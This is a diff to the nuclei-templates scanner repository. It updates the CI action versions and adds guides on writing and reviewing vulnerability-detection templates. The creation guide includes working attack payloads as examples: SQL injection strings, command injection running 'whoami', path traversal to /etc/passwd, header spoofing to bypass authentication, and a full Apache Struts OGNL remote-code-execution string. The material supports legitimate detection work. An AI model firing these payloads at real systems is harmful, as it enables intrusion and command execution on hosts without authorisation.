.github/workflows/template-checksum.yml

@@ -16,7 +16,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
       - uses: projectdiscovery/actions/generate/checksum@v1
         with:
           templates-directory: '${{ github.workspace }}'

.github/workflows/template-sign.yml

@@ -14,7 +14,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
       - uses: projectdiscovery/actions/setup/nuclei@v1
         with:
           token: '${{ secrets.GITHUB_TOKEN}}'
@@ -38,12 +38,12 @@ jobs:
     runs-on: windows-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
       
       - name: Set up Go
-        uses: actions/setup-go@v5
+        uses: actions/setup-go@v6
         with:
-          go-version: '1.21'
+          go-version: '1.24'
           
       - name: Install Nuclei
         run: |

.github/workflows/templateman.yml

@@ -8,7 +8,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
       - uses: projectdiscovery/actions/setup/templateman@v1
         with:
           token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'

.github/workflows/templates-stats.yml

@@ -11,7 +11,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
         with: 
           fetch-depth: 0
       - uses: projectdiscovery/actions/templates/stats@v1

.github/workflows/tests.yml

@@ -11,7 +11,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
       - uses: karancode/[email protected]
         with:
           yamllint_config_filepath: .yamllint
@@ -23,7 +23,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
       - uses: projectdiscovery/actions/setup/nuclei@v1
         with:
           token: '${{ secrets.GITHUB_TOKEN }}'
@@ -40,7 +40,7 @@ jobs:
     env:
       HONEYPOT_URL: 'http://honey.scanme.sh'
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
       - uses: dorny/paths-filter@v3
         id: filter
         with:
@@ -61,7 +61,7 @@ jobs:
         env:
           CHANGED_FILES: '${{ steps.filter.outputs.changed_files }}'
         working-directory: '.github/scripts/'
-      - uses: actions/github-script@v7
+      - uses: actions/github-script@v8
         if: steps.check.outputs.weak == 'true'
         with:
           script: |

.github/workflows/wordpress-plugins-update.yml

@@ -10,10 +10,10 @@ jobs:
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - name: Check out repository code
-        uses: actions/checkout@v4
+        uses: actions/checkout@v5
 
       - name: Install Python3
-        uses: actions/setup-python@v5
+        uses: actions/setup-python@v6
         with:
           python-version: "3.10"
 

.new-additions

@@ -1,15 +1,18 @@
-http/cves/2025/CVE-2025-32430.yaml
-http/cves/2025/CVE-2025-34073.yaml
-http/cves/2025/CVE-2025-54589.yaml
-http/cves/2025/CVE-2025-6934.yaml
-http/exposed-panels/espec-web-controller-panel.yaml
-http/exposed-panels/huawei-holosense-panel.yaml
-http/exposed-panels/hyperdx-panel.yaml
-http/exposed-panels/zipline-panel.yaml
-http/exposures/files/python-venv-exposure.yaml
-http/miscellaneous/atproto-did-exposure.yaml
-http/miscellaneous/mta-sts-exposure.yaml
-http/miscellaneous/nostr-json-exposure.yaml
-http/miscellaneous/oauth-authorization-server-exposure.yaml
-http/miscellaneous/pki-validation-exposure.yaml
-http/technologies/nvidia-triton-detect.yaml
+http/cves/2015/CVE-2015-10141.yaml
+http/cves/2017/CVE-2017-9965.yaml
+http/cves/2018/CVE-2018-25114.yaml
+http/cves/2019/CVE-2019-9874.yaml
+http/cves/2020/CVE-2020-20601.yaml
+http/cves/2020/CVE-2020-21998.yaml
+http/cves/2021/CVE-2021-26072.yaml
+http/cves/2021/CVE-2021-27856.yaml
+http/cves/2021/CVE-2021-27858.yaml
+http/cves/2021/CVE-2021-32478.yaml
+http/cves/2021/CVE-2021-37292.yaml
+http/cves/2022/CVE-2022-37122.yaml
+http/cves/2022/CVE-2022-38812.yaml
+http/cves/2022/CVE-2022-43939.yaml
+http/cves/2024/CVE-2024-9166.yaml
+http/cves/2025/CVE-2025-25037.yaml
+http/cves/2025/CVE-2025-59049.yaml
+http/exposed-panels/kong-manager-exposure.yaml

CONTRIBUTING.md

@@ -21,7 +21,7 @@ This documentation contains a set of guidelines to help you during the contribut
 
 - Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) or search for endpoints before creating new one.
 - Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
-- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
+- Take a look at [Templates](TEMPLATE-CREATION-GUIDE.md) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/How-to-Write-Unique-Matchers-in-Nuclei-Templates) Guideline for creating new template.
 
 Along with the P.O.C following are the required fields in the info section for submitting new template.
 
@@ -41,7 +41,7 @@ Along with the P.O.C following are the required fields in the info section for s
 
 **Don’t**
 
-- Don’t not share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
+- Don’t share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
 - Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
 - Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
 - Try to keep the requests per template as low as possible

README_KR.md

@@ -31,7 +31,7 @@ Nuclei 템플릿
 
 템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
 이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
-템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
+**pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)를 통해 템플릿을 보내주시는 기여도 환영합니다.
 
 ## Nuclei 템플릿 개요
 
@@ -44,19 +44,19 @@ Nuclei 템플릿
 ## Nuclei 템플릿 통계 Top 10
 
 |    태그    | 개수 |    작성자     | 개수 |    디렉토리     | 개수 | 심각도 | 개수 |  종류   | 개수 |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1325 | daffainfo     |   629 | cves             |  1306 | info     |  1398 | http    |  3644 |
-| panel     |   604 | dhiyaneshdk   |   509 | exposed-panels   |   613 | high     |   955 | file    |    76 |
-| lfi       |   490 | pikpikcu      |   322 | vulnerabilities  |   506 | medium   |   784 | network |    50 |
-| xss       |   451 | pdteam        |   269 | technologies     |   273 | critical |   445 | dns     |    17 |
-| wordpress |   409 | geeknik       |   187 | exposures        |   254 | low      |   211 |         |       |
-| exposure  |   360 | dwisiswant0   |   169 | token-spray      |   230 | unknown  |     7 |         |       |
-| cve2021   |   324 | 0x_akoko      |   157 | misconfiguration |   210 |          |       |         |       |
-| rce       |   319 | princechaddha |   149 | workflows        |   187 |          |       |         |       |
-| wp-plugin |   304 | pussycat0x    |   130 | default-logins   |   102 |          |       |         |       |
-| tech      |   286 | gy741         |   126 | file             |    76 |          |       |         |       |
+|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
 
-**286개 디렉토리, 4012개 파일**.
+**848개 디렉토리, 11344개 파일**.
 
 </td>
 </tr>

TEMPLATE-CREATION-GUIDE.md

@@ -0,0 +1,524 @@
+# Nuclei Template Creation Guide
+**Complete Guide for Writing High-Quality Security Templates**
+
+---
+
+## Getting Started
+
+### **What is a Nuclei Template?**
+Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
+
+> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
+
+### **Template Structure Overview**
+```yaml
+id: template-identifier
+info:
+  name: Human Readable Vulnerability Name
+  author: your-github-username,vulnerability-discoverer-handle
+  severity: critical|high|medium|low|info
+  description: Clear explanation of what this template detects
+  reference:
+    - https://link-to-vulnerability-details
+  classification:
+    cve-id: CVE-2024-1234
+    cwe-id: CWE-89
+  tags: cve,sqli,rce
+  metadata:
+    verified: true
+    shodan-query: 'http.title:"VulnApp"'
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/vulnerable-endpoint"
+    
+    matchers:
+      - type: word
+        words:
+          - "vulnerability_indicator"
+        part: body
+```
+
+---
+
+## Step-by-Step Template Creation
+
+### **Step 1: Research and Understand the Vulnerability**
+Before writing any code:
+- [ ] Read the original vulnerability disclosure/advisory
+- [ ] Understand the root cause and exploitation method
+- [ ] Identify unique indicators that prove vulnerability exists
+- [ ] Test the vulnerability in a controlled environment
+- [ ] Document the vulnerable versions and affected components
+
+### **Step 2: Choose Your Template ID and Info**
+```yaml
+# Use descriptive, short identifiers
+id: apache-struts-ognl-injection  # GOOD - clear and specific
+id: vuln-app-rce                  # BAD - too generic
+
+info:
+  name: Apache Struts OGNL Code Injection  # Format: "Vendor Product - Vulnerability Type"
+  author: your-github-username,original-researcher-handle  # Always credit the discoverer
+  severity: critical  # Based on CVSS score and real-world impact
+```
+
+### **Step 3: Write Accurate Description and References**
+```yaml
+info:
+  description: |
+    Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from 
+    OGNL injection vulnerability that allows remote code execution.
+  reference:
+    - https://cwiki.apache.org/confluence/display/WW/S2-057
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
+    - https://seclists.org/fulldisclosure/2018/Aug/31
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.1
+    cve-id: CVE-2018-11776
+    cwe-id: CWE-94
+```
+
+### **Step 4: Add Proper Tags and Metadata**
+```yaml
+info:
+  tags: cve,cve2018,rce,apache,struts,ognl  # Be specific and comprehensive
+  metadata:
+    verified: true  # Only if you've tested it yourself
+    max-request: 1  # Auto-calculated, don't set manually
+    shodan-query: 'http.component:"Apache Struts"'
+    fofa-query: 'body="struts" && title="Apache"'
+```
+
+---
+
+## Writing Effective HTTP Requests
+
+### **Basic HTTP Template Structure**
+```yaml
+http:
+  - method: GET|POST|PUT|DELETE
+    path:
+      - "{{BaseURL}}/endpoint"        # Dynamic BaseURL variable
+      - "{{Hostname}}/another-path"   # Alternative dynamic variable
+    
+    headers:
+      User-Agent: Custom-Agent-String
+      Content-Type: application/json
+      Origin: https://example.com
+    
+    body: |
+      {"param": "{{payload}}"}
+    
+    disable-cookie: false  # Cookies reused by default (optional)
+    
+    matchers-condition: and  # Require ALL matchers to pass
+    matchers:
+      - type: word
+        words:
+          - "success_indicator"
+        part: body
+```
+
+> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
+
+### **Using Variables for Flexibility**
+```yaml
+variables:
+  username: "admin"
+  payload: "{{rand_base(8)}}"
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login"
+    body: |
+      username={{username}}&password={{payload}}
+```
+
+---
+
+## Matcher Best Practices
+
+### **🚫 Avoid Weak Matchers**
+```yaml
+# BAD - Too generic, will match many innocent systems
+matchers:
+  - type: word
+    words:
+      - "error"
+      - "admin"
+      - "login"
+    part: body
+```
+
+### **✅ Use Strong, Specific Matchers**
+```yaml
+# GOOD - Specific to the vulnerability
+matchers-condition: and
+matchers:
+  - type: word
+    words:
+      - "VulnApp Management Console v2.1.0"  # Specific application version
+      - "Build 2024.03.15"                   # Specific build
+    part: body
+    
+  - type: status
+    status:
+      - 200
+      
+  - type: word
+    words:
+      - "OGNL_INJECTION_SUCCESS_{{randstr}}"  # Proof of exploitation
+      - "java.lang.ProcessBuilder"            # Technical indicator
+    part: body
+    condition: or  # Any of these proves exploitation
+```
+
+### **Multi-Layer Verification Strategy**
+```yaml
+# Layer 1: Identify the application
+# Layer 2: Confirm vulnerable version  
+# Layer 3: Prove vulnerability exists
+matchers-condition: and
+matchers:
+  - type: word                    # Layer 1: App identification
+    words:
+      - "Apache Struts Framework"
+      - "struts-tags"
+    part: body
+    
+  - type: regex                   # Layer 2: Version detection
+    regex:
+      - 'Struts 2\.[0-4]\.[0-9]+'  # Vulnerable version range
+    part: body
+    
+  - type: word                    # Layer 3: Exploitation proof
+    words:
+      - "ognl.OgnlException"
+      - "java.lang.SecurityException"
+    part: body
+    condition: or
+```
+
+---
+
+## Testing Your Template
+
+### **Before Submitting - Test Thoroughly**
+```bash
+# Test against known vulnerable instance
+nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
+
+# Test against patched/non-vulnerable systems
+nuclei -t your-template.yaml -target http://patched-app.local -debug
+
+# Test against similar but different applications
+nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
+```
+
+### **Validation Checklist**
+- [ ] Template detects the vulnerability on vulnerable systems
+- [ ] Template does NOT trigger false positives on:
+  - [ ] Patched versions of the same application
+  - [ ] Similar applications from the same vendor
+  - [ ] Generic web frameworks or CMSs
+  - [ ] Default server error pages
+- [ ] Matchers are specific enough to avoid honeypots
+- [ ] References are valid and accessible
+- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
+
+---
+
+## Common Vulnerability Types - Template Patterns
+
+### **SQL Injection Detection**
+```yaml
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/search"
+    body: "q={{payload}}"
+    
+    payloads:
+      payload:
+        - "1' OR '1'='1"
+        - "1' UNION SELECT version()--"
+        - "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
+    
+    matchers:
+      - type: word
+        words:
+          - "mysql_fetch_array(): supplied argument"
+          - "You have an error in your SQL syntax"
+          - "Microsoft OLE DB Provider for ODBC"
+        part: body
+```
+
+### **Remote Code Execution (RCE)**
+```yaml
+variables:
+  cmd: "whoami"
+  marker: "{{rand_base(8)}}"
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/execute"
+    body: |
+      command={{cmd}} && echo {{marker}}
+    
+    matchers:
+      - type: word
+        words:
+          - "{{marker}}"
+        part: body
+      - type: regex
+        regex:
+          - 'root|administrator|www-data'
+        part: body
+```
+
+### **Local File Inclusion (LFI)**
+```yaml
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/view?file=../../../etc/passwd"
+      - "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
+    
+    matchers:
+      - type: regex
+        regex:
+          - 'root:.*?:[0-9]*:[0-9]*:'  # Linux /etc/passwd
+          - '\[fonts\]'                 # Windows win.ini
+        part: body
+```
+
+### **Authentication Bypass**
+```yaml
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin"
+    headers:
+      X-Originating-IP: 127.0.0.1
+      X-Forwarded-For: 127.0.0.1
+      X-Real-IP: 127.0.0.1
+    
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Admin Dashboard"
+          - "Administrative Panel"
+        part: body
+      - type: status
+        status:
+          - 200
+```
+
+---
+
+## Advanced Template Features
+
+### **Using Extractors for Data Collection**
+```yaml
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/info"
+    
+    extractors:
+      - type: regex
+        name: version
+        regex:
+          - 'Version: ([0-9\.]+)'
+        group: 1
+    
+    matchers:
+      - type: word
+        words:
+          - "Application Info"
+        part: body
+```
+
+### **Conditional Logic with DSL**
+```yaml
+matchers:
+  - type: dsl
+    dsl:
+      - 'status_code == 200'
+      - 'contains(body, "vulnerable_pattern")'
+      - 'len(body) > 1000'
+    condition: and
+```
+
+### **Network Templates for Non-HTTP Services**
+```yaml
+network:
+  - inputs:
+      - data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}"  # GET / HTTP/1.1
+    host:
+      - "{{Hostname}}"
+    port: 8080
+    
+    matchers:
+      - type: word
+        words:
+          - "Server: VulnServer/1.0"
+        part: data
+```
+
+---
+
+## Submission Guidelines
+
+### **Preparing Your Template for Submission**
+1. **Validate Syntax**
+   ```bash
+   nuclei -validate -t your-template.yaml
+   ```
+
+2. **Test Thoroughly**
+   ```bash
+   nuclei -t your-template.yaml -target vulnerable-instance.com -debug
+   ```
+
+3. **Check for Existing Templates**
+   - Search the repository for similar vulnerabilities
+   - Avoid duplicating existing detection logic
+   - If improving existing template, explain why
+
+4. **Follow Naming Conventions**
+   - Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
+   - Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
+
+### **Pull Request Best Practices**
+- **Title**: Clear description of what the template detects
+- **Description**: Include:
+  - Link to vulnerability details/advisory
+  - Affected versions
+  - Testing methodology
+  - Screenshots/proof if possible
+- **Testing**: Show debug output proving detection works
+- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email [email protected]
+- **References**: Include all relevant security advisories
+
+> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
+
+---
+
+## Quality Checklist
+
+### **Before Submitting Your Template**
+- [ ] **Functionality**
+  - [ ] Template detects the intended vulnerability
+  - [ ] No false positives on tested systems
+  - [ ] Matchers are specific and accurate
+  
+- [ ] **Attribution**
+  - [ ] Original vulnerability discoverer credited in author field
+  - [ ] All references included and valid
+  - [ ] Proper CVSS scoring if applicable
+  
+- [ ] **Quality**
+  - [ ] YAML syntax is valid
+  - [ ] Follows nuclei template conventions
+  - [ ] Includes appropriate tags and metadata
+  
+- [ ] **Testing**
+  - [ ] Tested against vulnerable instance
+  - [ ] Tested against non-vulnerable similar systems
+  - [ ] Debug output reviewed for accuracy
+  
+- [ ] **Documentation**
+  - [ ] Clear description of what template detects
+  - [ ] Proper severity classification
+  - [ ] Complete reference list
+
+---
+
+## Examples of High-Quality Templates
+
+### **Complete CVE Template Example**
+```yaml
+id: CVE-2024-1234-apache-struts-rce
+
+info:
+  name: Apache Struts 2.x OGNL Code Injection
+  author: your-github-username,original-researcher-handle
+  severity: critical
+  description: |
+    Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from 
+    OGNL injection vulnerability in the namespace value that allows remote 
+    code execution.
+  reference:
+    - https://cwiki.apache.org/confluence/display/WW/S2-057
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
+    - https://seclists.org/fulldisclosure/2018/Aug/31
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.1
+    cve-id: CVE-2018-11776
+    cwe-id: CWE-94
+  metadata:
+    verified: true
+    shodan-query: 'http.component:"Apache Struts"'
+    fofa-query: 'body="struts" && title="Apache"'
+  tags: cve,cve2018,rce,apache,struts,ognl,kev
+
+variables:
+  command: "whoami"
+  marker: "{{rand_base(8)}}"
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/${(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "struts"
+          - "java"
+        part: body
+        condition: or
+
+      - type: regex
+        regex:
+          - 'root|administrator|www-data|apache'
+        part: body
+```
+
+---
+
+## Getting Help
+
+### **Resources**
+- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
+- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
+- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
+- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
+- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
+- **Testing**: Use local vulnerable applications for safe testing
+- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
+
+> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
+
+### **Common Issues and Solutions**
+- **False Positives**: Make matchers more specific, add version detection
+- **YAML Errors**: Use online YAML validators, check indentation
+- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
+- **Performance Issues**: Minimize requests, optimize matchers
+
+---
+
+*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.*

TEMPLATE-REVIEW-GUIDE.md

@@ -0,0 +1,441 @@
+# Nuclei Template Review Guide
+**Best Practices for Template Quality and Security**
+
+---
+
+## Quick Reference
+
+### **Review Priority Areas**
+1. **Quality & Consistency** - Formatting, syntax, field standardization
+2. **Metadata Enhancement** - Search queries, classifications, documentation  
+3. **Tags Optimization** - Category alignment, searchability
+4. **Classification** - CVE/CWE alignment, severity scoring
+5. **Matcher Refinement** - Detection logic, false positive prevention
+
+### **Common Areas for Improvement**
+- **Community Contributions:** Often need metadata and classification enhancements
+- **Template Reviews:** Focus on technical accuracy and matcher quality
+
+---
+
+## Pre-Review Checklist
+
+### **Template Completeness Verification**
+```yaml
+Required Fields Checklist:
+- [ ] id: Short, descriptive (max 3-4 words)
+- [ ] name: Format "Vendor Product Version - Vulnerability"  
+- [ ] author: Template creator, vulnerability discoverer (comma-separated)
+- [ ] severity: info/low/medium/high/critical (CVSS aligned)
+- [ ] description: Clear vulnerability explanation
+- [ ] reference: Valid POC/advisory links
+- [ ] classification: CVE-ID, CWE-ID if applicable
+```
+
+### **Author Attribution Best Practices**
+```yaml
+# GOOD - Include both template author and vulnerability discoverer in author field
+info:
+  author: template-author-github-username,original-discoverer-handle
+  description: SQL injection vulnerability in Example App v2.1.0 allows remote code execution.
+  reference:
+    - https://github.com/security_researcher/advisories/example-app-sqli
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-1234
+
+# EXAMPLES of proper author attribution
+info:
+  author: princechaddha,0xd0ff9  # Template by princechaddha, vulnerability found by 0xd0ff9
+
+info:
+  author: dhiyaneshDk,researcher_name  # Template by dhiyaneshDk, discovered by researcher_name
+
+info:
+  author: geeknik,@security_handle  # Template by geeknik, found by @security_handle
+```
+
+### **Metadata Quality Check**
+```yaml
+Enhanced Metadata:
+- [ ] verified: true (if tested with debug data)
+- [ ] shodan-query: Search dork for asset discovery
+- [ ] fofa-query: Alternative search engine query
+- [ ] tags: Appropriate categories (cve, rce, lfi, etc.)
+
+Note: max-request is auto-generated and doesn't need manual input
+```
+
+---
+
+## Matcher Quality Framework
+
+### **🚫 Weak Matchers (High False Positive Risk)**
+
+#### **Generic Response Patterns - AVOID**
+```yaml
+# BAD - Matches any admin interface globally
+matchers:
+  - type: word
+    words:
+      - "admin"
+      - "login"
+      - "dashboard"
+    part: body
+```
+**Problem:** These terms appear on millions of legitimate systems
+
+#### **Version-Only Detection - AVOID**
+```yaml  
+# BAD - Matches all versions, not just vulnerable ones
+matchers:
+  - type: regex
+    regex:
+      - 'WordPress [0-9]+\.[0-9]+'
+    part: body
+```
+**Problem:** Doesn't verify actual vulnerability presence
+
+### **✅ Strong Vulnerability-Specific Matchers**
+
+#### **Multi-Layer Verification Strategy**
+```yaml
+# GOOD - Combines application + version + vulnerability proof
+matchers-condition: and
+matchers:
+  - type: word                    # Layer 1: Identify specific application
+    words:
+      - "Grafana Dashboard"
+      - "grafana.com/login"
+    part: body
+    
+  - type: regex                   # Layer 2: Confirm vulnerable version range
+    regex:
+      - 'version.*[6-8]\.[0-5]\.[0-9]'
+    part: body
+    
+  - type: word                    # Layer 3: Verify exploit success
+    words:
+      - "unauthorized_data_access"
+      - "/api/snapshots/{{randstr}}"
+    part: body
+    condition: or
+```
+
+#### **CVE-Specific Template Example**
+```yaml
+# CVE-2024-1234 - Specific Application RCE
+matchers-condition: and  
+matchers:
+  - type: word
+    words:
+      - "VulnApp Management Console v2.1.0"    # Exact vulnerable version
+      - "Build 2024.03.15"                     # Specific build identifier
+    part: body
+    
+  - type: status                              # Expected response code
+    status:
+      - 200
+      
+  - type: word                                # Exploitation proof
+    words:  
+      - "RCE_EXECUTION_SUCCESS_{{randstr}}"    # Unique payload response
+      - "nuclei_test_command_output"           # Command execution indicator
+    part: body
+    condition: or
+```
+
+#### **Panel Detection - Unique Signatures**
+```yaml  
+# FortiGate Panel - Multiple unique identifiers
+matchers-condition: and
+matchers:
+  - type: word                    
+    words:
+      - "<title>FortiGate - Login</title>"     # Specific page title
+      - "Fortinet, Inc."                       # Vendor attribution  
+      - "FortiOS Version:"                     # Version indicator
+    part: body
+    condition: or
+    
+  - type: regex
+    regex:
+      - '/images/fortinet_logo_[0-9]+\.png'    # Unique asset pattern
+      - 'build_[0-9]{4}_[0-9]{6}'              # Build number format specific to FortiGate
+    part: body
+    condition: or
+```
+
+---
+
+## False Positive Prevention
+
+### **High-Risk Scenarios to Test**
+Before approval, verify matchers DON'T trigger on:
+
+1. **Related Non-Vulnerable Systems**
+   - Same vendor, different products
+   - Same application, patched versions
+   - Similar interfaces, different implementations
+
+2. **Generic Web Applications**
+   - Common frameworks (WordPress, Django, Rails)
+   - Standard admin panels (cPanel, Plesk)
+   - Default server pages (Apache, Nginx)
+
+3. **Honeypot/Security Tools**
+   - Intentionally deceptive responses
+   - Security scanners mimicking vulnerabilities
+   - Research environments with fake responses
+
+### **Matcher Testing Checklist**
+```yaml
+Required Validation Steps:
+- [ ] Test against 3+ non-vulnerable similar applications
+- [ ] Verify unique response elements are truly unique
+- [ ] Confirm payload/exploitation indicators are specific
+- [ ] Check matcher doesn't trigger on default installations
+- [ ] Validate version detection accuracy (if applicable)
+```
+
+---
+
+## Review Categories by Impact
+
+### **1. Metadata Enhancement**
+**Most Common Missing Elements:**
+- `shodan-query` for asset discovery
+- `fofa-query` for alternative search engines
+- `classification` fields for vulnerability tracking
+
+**Review Actions:**
+```yaml
+# Add asset discovery capabilities
+metadata:
+  verified: true
+  shodan-query: 'http.title:"Grafana" http.component:"Grafana"'
+  fofa-query: 'title="Grafana" && body="grafana"'
+
+# Ensure proper classification
+classification:
+  cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+  cvss-score: 9.8
+  cve-id: CVE-2024-1234
+  cwe-id: CWE-89
+```
+
+### **2. Matcher Quality**
+**Common Issues:**
+- Overly broad detection patterns
+- Missing context verification
+- Weak exploitation proof
+
+**Review Standards:**
+```yaml
+# Require multi-layer validation
+matchers-condition: and  # Force all conditions to match
+matchers:
+  - type: word            # Application identification
+  - type: status          # Response validation  
+  - type: word            # Vulnerability proof
+    condition: or         # Allow multiple proof methods
+```
+
+### **3. Severity Assessment**
+**CVSS Alignment Requirements:**
+- **Critical (9.0-10.0):** Remote code execution, complete system compromise
+- **High (7.0-8.9):** Significant data breach, privilege escalation
+- **Medium (4.0-6.9):** Information disclosure, limited access
+- **Low (0.1-3.9):** Minor information leakage, requires authentication
+
+### **4. Reference Validation**
+**Required Reference Quality:**
+- Original vulnerability advisory (CVE, vendor security bulletin)
+- Technical analysis or proof of concept
+- NIST NVD entry (if available)
+- Public disclosure timeline
+
+---
+
